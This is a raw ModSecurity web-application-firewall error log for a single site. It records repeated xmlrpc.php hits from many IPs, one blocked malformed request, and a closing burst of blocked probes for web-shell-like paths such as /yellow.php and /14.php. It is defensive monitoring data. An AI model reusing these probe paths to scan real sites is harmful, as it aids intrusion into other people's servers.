[Fri Apr 17 04:21:32.394879 2026] [:error] [pid 9263:tid 9279] [client 69.57.172.96:35136] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFEzBP68VyHNvj1e56mjgAAAM4"]
[Fri Apr 17 04:21:50.040317 2026] [:error] [pid 9263:tid 9270] [client 212.32.253.2:36378] [client 212.32.253.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.32.253.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFE3hP68VyHNvj1e56nCgAAAMU"]
[Fri Apr 17 04:24:45.854144 2026] [:error] [pid 9263:tid 9272] [client 217.61.143.66:60066] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.61.143.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFFjRP68VyHNvj1e56rqwAAAMc"]
[Fri Apr 17 04:25:13.553518 2026] [:error] [pid 9263:tid 9272] [client 85.214.232.59:37166] [client 85.214.232.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.232.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFFqRP68VyHNvj1e56sqQAAAMc"]
[Fri Apr 17 04:29:35.164588 2026] [:error] [pid 51878:tid 51886] [client 80.239.207.207:47508] [client 80.239.207.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.239.207.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFGr0nQhUtMbw9EsgYLewAAAQY"]
[Fri Apr 17 04:39:15.855582 2026] [:error] [pid 51878:tid 51888] [client 194.164.166.170:38010] [client 194.164.166.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.166.170, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFI80nQhUtMbw9EsgYd7wAAAQg"]
[Fri Apr 17 04:39:30.525971 2026] [:error] [pid 9263:tid 9278] [client 46.246.39.245:38230] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.246.39.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFJAhP68VyHNvj1e57EwwAAAM0"]
[Fri Apr 17 04:40:23.317513 2026] [:error] [pid 9263:tid 9268] [client 20.212.251.69:44946] [client 20.212.251.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.212.251.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFJNxP68VyHNvj1e57FbQAAAMM"]
[Fri Apr 17 04:42:53.262886 2026] [:error] [pid 51878:tid 51889] [client 51.38.230.115:37124] [client 51.38.230.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.230.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFJzUnQhUtMbw9EsgYjNQAAAQk"]
[Fri Apr 17 04:44:48.047960 2026] [:error] [pid 9151:tid 9175] [client 38.113.191.66:46400] [client 38.113.191.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.113.191.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFKQMhTVuRPkua22vSBAwAAAA4"]
[Fri Apr 17 04:45:34.320063 2026] [:error] [pid 9153:tid 9234] [client 201.51.45.10:28602] [client 201.51.45.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.51.45.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFKbuMHGxkTZX3c45fbyAAAAJA"]
[Fri Apr 17 04:45:43.250472 2026] [:error] [pid 9151:tid 9184] [client 201.51.45.10:26575] [client 201.51.45.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.51.45.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFKd8hTVuRPkua22vSBywAAABc"]
[Fri Apr 17 04:45:53.878902 2026] [:error] [pid 9263:tid 9266] [client 201.51.45.10:27920] [client 201.51.45.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.51.45.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFKgRP68VyHNvj1e57NWQAAAME"]
[Fri Apr 17 04:46:02.800259 2026] [:error] [pid 51878:tid 51880] [client 83.166.155.159:42818] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFKiknQhUtMbw9EsgYrAAAAAQA"]
[Fri Apr 17 04:46:04.572456 2026] [:error] [pid 9152:tid 9195] [client 201.51.45.10:27678] [client 201.51.45.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.51.45.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFKjJJYca8I3TNCwIfy0QAAAEU"]
[Fri Apr 17 04:46:15.191731 2026] [:error] [pid 51878:tid 51888] [client 201.51.45.10:25739] [client 201.51.45.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.51.45.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFKl0nQhUtMbw9EsgYregAAAQg"]
[Fri Apr 17 04:47:24.747862 2026] [:error] [pid 51878:tid 51904] [client 5.56.58.240:55392] [client 5.56.58.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.56.58.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFK3EnQhUtMbw9EsgYvIgAAARg"]
[Fri Apr 17 04:51:15.434283 2026] [:error] [pid 51878:tid 51903] [client 85.128.143.151:56164] [client 85.128.143.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.151, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFLw0nQhUtMbw9EsgY1WwAAARc"]
[Fri Apr 17 04:53:42.808140 2026] [:error] [pid 9263:tid 9288] [client 142.93.115.177:58908] [client 142.93.115.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.115.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFMVhP68VyHNvj1e57WZgAAANc"]
[Fri Apr 17 04:56:28.601191 2026] [:error] [pid 9153:tid 9241] [client 142.93.249.49:47594] [client 142.93.249.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.249.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFM_OMHGxkTZX3c45fmKAAAAJc"]
[Fri Apr 17 04:57:13.019883 2026] [:error] [pid 9263:tid 9282] [client 172.237.101.239:54464] [client 172.237.101.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.237.101.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFNKRP68VyHNvj1e57YqwAAANE"]
[Fri Apr 17 05:00:24.904021 2026] [:error] [pid 9152:tid 9204] [client 185.5.208.196:60058] [client 185.5.208.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.5.208.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFN6JJYca8I3TNCwIf8AQAAAE4"]
[Fri Apr 17 05:01:06.411714 2026] [:error] [pid 9152:tid 9198] [client 159.203.177.184:51020] [client 159.203.177.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.177.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFOEpJYca8I3TNCwIf8TgAAAEg"]
[Fri Apr 17 05:01:58.303879 2026] [:error] [pid 51878:tid 51888] [client 45.92.108.157:43622] [client 45.92.108.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.92.108.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFORknQhUtMbw9EsgZC7gAAAQg"]
[Fri Apr 17 05:06:48.120397 2026] [:error] [pid 9153:tid 9233] [client 54.38.241.153:60050] [client 54.38.241.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.241.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFPaOMHGxkTZX3c45fq-AAAAI8"]
[Fri Apr 17 05:07:32.222749 2026] [:error] [pid 9151:tid 9161] [client 4.240.89.23:40312] [client 4.240.89.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.240.89.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFPlMhTVuRPkua22vSOOwAAAAA"]
[Fri Apr 17 05:12:13.567834 2026] [:error] [pid 9151:tid 9180] [client 83.96.201.169:45518] [client 83.96.201.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.96.201.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFQrchTVuRPkua22vSQjwAAABM"]
[Fri Apr 17 05:14:50.489928 2026] [:error] [pid 51878:tid 51893] [client 79.116.52.1:57692] [client 79.116.52.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.116.52.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFRSknQhUtMbw9EsgZQ_QAAAQ0"]
[Fri Apr 17 05:16:00.355245 2026] [:error] [pid 9263:tid 9284] [client 194.182.64.134:57532] [client 194.182.64.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.182.64.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFRkBP68VyHNvj1e57magAAANM"]
[Fri Apr 17 05:16:31.559123 2026] [:error] [pid 51878:tid 51887] [client 134.209.114.227:35338] [client 134.209.114.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.114.227, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFRr0nQhUtMbw9EsgZRyQAAAQc"]
[Fri Apr 17 05:16:47.990064 2026] [:error] [pid 51878:tid 51890] [client 212.132.70.123:40310] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFRv0nQhUtMbw9EsgZR_gAAAQo"]
[Fri Apr 17 05:17:04.335749 2026] [:error] [pid 9153:tid 9222] [client 43.153.58.28:35556] [client 43.153.58.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeFR0OMHGxkTZX3c45fw_AAAAIQ"]
[Fri Apr 17 05:17:39.527308 2026] [:error] [pid 51878:tid 51885] [client 194.164.173.215:44814] [client 194.164.173.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.173.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFR80nQhUtMbw9EsgZS8gAAAQU"]
[Fri Apr 17 05:18:29.727141 2026] [:error] [pid 51878:tid 51884] [client 107.180.241.110:40584] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.241.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFSJUnQhUtMbw9EsgZTiAAAAQQ"]
[Fri Apr 17 05:19:24.192045 2026] [:error] [pid 9263:tid 9265] [client 185.98.139.110:34794] [client 185.98.139.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFSXBP68VyHNvj1e57pVQAAAMA"]
[Fri Apr 17 05:20:02.077891 2026] [:error] [pid 9263:tid 9279] [client 107.180.241.110:56746] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.241.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFSghP68VyHNvj1e57ptwAAAM4"]
[Fri Apr 17 05:20:23.464419 2026] [:error] [pid 9152:tid 9204] [client 5.78.105.82:58116] [client 5.78.105.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.78.105.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFSl5JYca8I3TNCwIcFMQAAAE4"]
[Fri Apr 17 05:30:07.780988 2026] [:error] [pid 9152:tid 9214] [client 185.98.139.113:45894] [client 185.98.139.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFU35JYca8I3TNCwIcJBAAAAFg"]
[Fri Apr 17 05:33:57.927793 2026] [:error] [pid 51878:tid 51897] [client 15.235.163.7:55920] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFVxUnQhUtMbw9EsgZhEAAAARE"]
[Fri Apr 17 05:38:03.776073 2026] [:error] [pid 9263:tid 9267] [client 15.235.163.7:55600] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFWuxP68VyHNvj1e571SQAAAMI"]
[Fri Apr 17 05:41:26.322840 2026] [:error] [pid 9151:tid 9169] [client 23.105.193.86:42216] [client 23.105.193.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.105.193.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFXhshTVuRPkua22vSa2AAAAAg"]
[Fri Apr 17 05:42:38.494839 2026] [:error] [pid 51878:tid 51899] [client 88.87.70.158:57890] [client 88.87.70.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.87.70.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFXzknQhUtMbw9EsgZqAAAAARM"]
[Fri Apr 17 05:43:28.890095 2026] [:error] [pid 9153:tid 9227] [client 129.232.136.154:44112] [client 129.232.136.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.232.136.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFYAOMHGxkTZX3c45f9pAAAAIk"]
[Fri Apr 17 05:46:52.540677 2026] [:error] [pid 9152:tid 9207] [client 20.91.209.193:19173] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "aeFYzJJYca8I3TNCwIcQKAAAAFE"]
[Fri Apr 17 05:46:53.065252 2026] [:error] [pid 51878:tid 51901] [client 20.91.209.193:14132] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "aeFYzUnQhUtMbw9EsgZuDgAAARU"]
[Fri Apr 17 05:46:53.614323 2026] [:error] [pid 51878:tid 51891] [client 20.91.209.193:32094] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "aeFYzUnQhUtMbw9EsgZuEgAAAQs"]
[Fri Apr 17 05:46:54.163274 2026] [:error] [pid 9153:tid 9225] [client 20.91.209.193:10949] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "aeFYzuMHGxkTZX3c45cACAAAAIc"]
[Fri Apr 17 05:46:54.711750 2026] [:error] [pid 51878:tid 51903] [client 20.91.209.193:20677] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/block-template-utils.php"] [unique_id "aeFYzknQhUtMbw9EsgZuFQAAARc"]
[Fri Apr 17 05:46:55.260325 2026] [:error] [pid 9263:tid 9273] [client 20.91.209.193:14094] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/block-template-utils.php"] [unique_id "aeFYzxP68VyHNvj1e578JwAAAMg"]
[Fri Apr 17 05:46:55.788145 2026] [:error] [pid 9263:tid 9284] [client 20.91.209.193:12623] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/block-template-utils.php"] [unique_id "aeFYzxP68VyHNvj1e578KgAAANM"]
[Fri Apr 17 05:46:56.312538 2026] [:error] [pid 9263:tid 9266] [client 20.91.209.193:37853] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/block-template-utils.php"] [unique_id "aeFY0BP68VyHNvj1e578LwAAAME"]
[Fri Apr 17 05:46:56.866824 2026] [:error] [pid 9263:tid 9268] [client 20.91.209.193:31972] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/14.php"] [unique_id "aeFY0BP68VyHNvj1e578MQAAAMM"]
[Fri Apr 17 05:46:57.415821 2026] [:error] [pid 9263:tid 9276] [client 20.91.209.193:10222] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/14.php"] [unique_id "aeFY0RP68VyHNvj1e578NAAAAMs"]
[Fri Apr 17 05:46:57.965551 2026] [:error] [pid 9152:tid 9190] [client 20.91.209.193:31185] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/14.php"] [unique_id "aeFY0ZJYca8I3TNCwIcQMAAAAEA"]
[Fri Apr 17 05:46:58.539333 2026] [:error] [pid 9152:tid 9197] [client 20.91.209.193:32000] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/14.php"] [unique_id "aeFY0pJYca8I3TNCwIcQMgAAAEc"]
[Fri Apr 17 05:46:59.087541 2026] [:error] [pid 9152:tid 9211] [client 20.91.209.193:12979] [client 20.91.209.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update_with_pics.php"] [unique_id "aeFY05JYca8I3TNCwIcQNQAAAFU"]
